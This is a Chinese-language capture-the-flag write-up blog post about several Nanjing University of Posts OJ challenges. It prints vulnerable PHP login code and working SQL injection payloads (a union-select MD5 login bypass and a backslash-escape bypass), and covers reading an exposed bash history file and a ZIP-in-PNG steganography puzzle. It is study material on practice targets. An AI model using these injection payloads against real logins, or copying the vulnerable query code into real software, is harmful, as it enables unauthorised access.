theKingOfNight's Blog

CTF-Web-南邮oj几道有意思的题

字数统计: 973阅读时长: 4 min
2019/01/19 Share

南邮oj用户体验贼差,好多题不是打不开就是假flag,还有的题照着正确的输都是错的,然后过一会又能输对了,服了,还有那个综合题二,做到一半把代码都下载下来了,题目竟然被改了?????跪了,然后第二天看的时候竟然连接不上数据库……

SQL注入2

早就听说过有md5绕过登陆的方法,今天终于看到源码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>

要想得到flag,只需要同时满足

1
($query[pw]) && (!strcasecmp($pass, $query[pw]))

$user变量我们是可以控制的,然后又没有任何过滤措施
我们就可以直接利用这个语句选择一个相应的密码给对应的pw

1
2
3
4
tips
如果前面的用户名不存在的话
mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
取到的东西就是空,然后在加上我们的md5密码,就可以实现成功登陆

最后payload

1
user=1' union select md5(1)%23&pass=1

综合题

常规操作,可以看到头部有提示tip: history of bash,就需要查找相关的bash历史文件

1
Bash shell在“~/.bash_history”(“~/”表示用户目录)文件中保存了500条使用过的命令,这样能使你输入使用过的长命令变得容易。每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件。

直接访问,然后拿到flag

sql injection 4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;

clean函数是第一个需要考虑的
这几个函数官方手册如下

1
2
3
bool get_magic_quotes_gpc ( void )
如果 magic_quotes_gpc 为关闭时返回 0,否则返回 1。在 PHP 5.4.O 起将始终返回 FALSE。
在 PHP 5.4之 前默认是开启的

1
2
string stripslashes ( string $str )
返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。
1
2
3
4
string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] )
在这里
htmlentities($str, ENT_QUOTES); // 转换双引号和单引号
方法将把字符转换为 HTML 实体

将上面的sql语句简化一下

1
SELECT * FROM users WHERE name='.$username.' AND pass='.$password.';

username和password是我们可以控制的
很显然的一个方法就是把$username.’ AND pass=中的 ‘ 用某种正规手段弄掉,
然后password
后面输入一些合法的东西使得搜索恒成立(中间那个东西弄没是一种很常用的点)
一种很显而易见的payload就是

1
username=\&password=or 1%23

此时查询语句就是

1
'SELECT * FROM users WHERE name=无用的' or 1';

丘比龙De女神

老套路,将图片保存本地,然后用notepad++打开
last.png
可以看到最后两行显示了另外一张图片,老套路,分离图片.
继续老套路,搜索相应的文件名
two_pic.png
然后看那个nvshen.png
nvshen.png
可以看到这里的头部有问题
lasT.png
而且这里的尾部是PK文件,也就是压缩文件
所以要将这里的文件头修改为压缩文件头

1
50 4B 03 04 00 00 00

然后修改文件后缀名,取图片(密码为love,曾经的文件头)
然后根据题目提示计算md5
然后在线md5

CATALOG
  1. 1. SQL注入2
  2. 2. 综合题
  3. 3. sql injection 4
  4. 4. 丘比龙De女神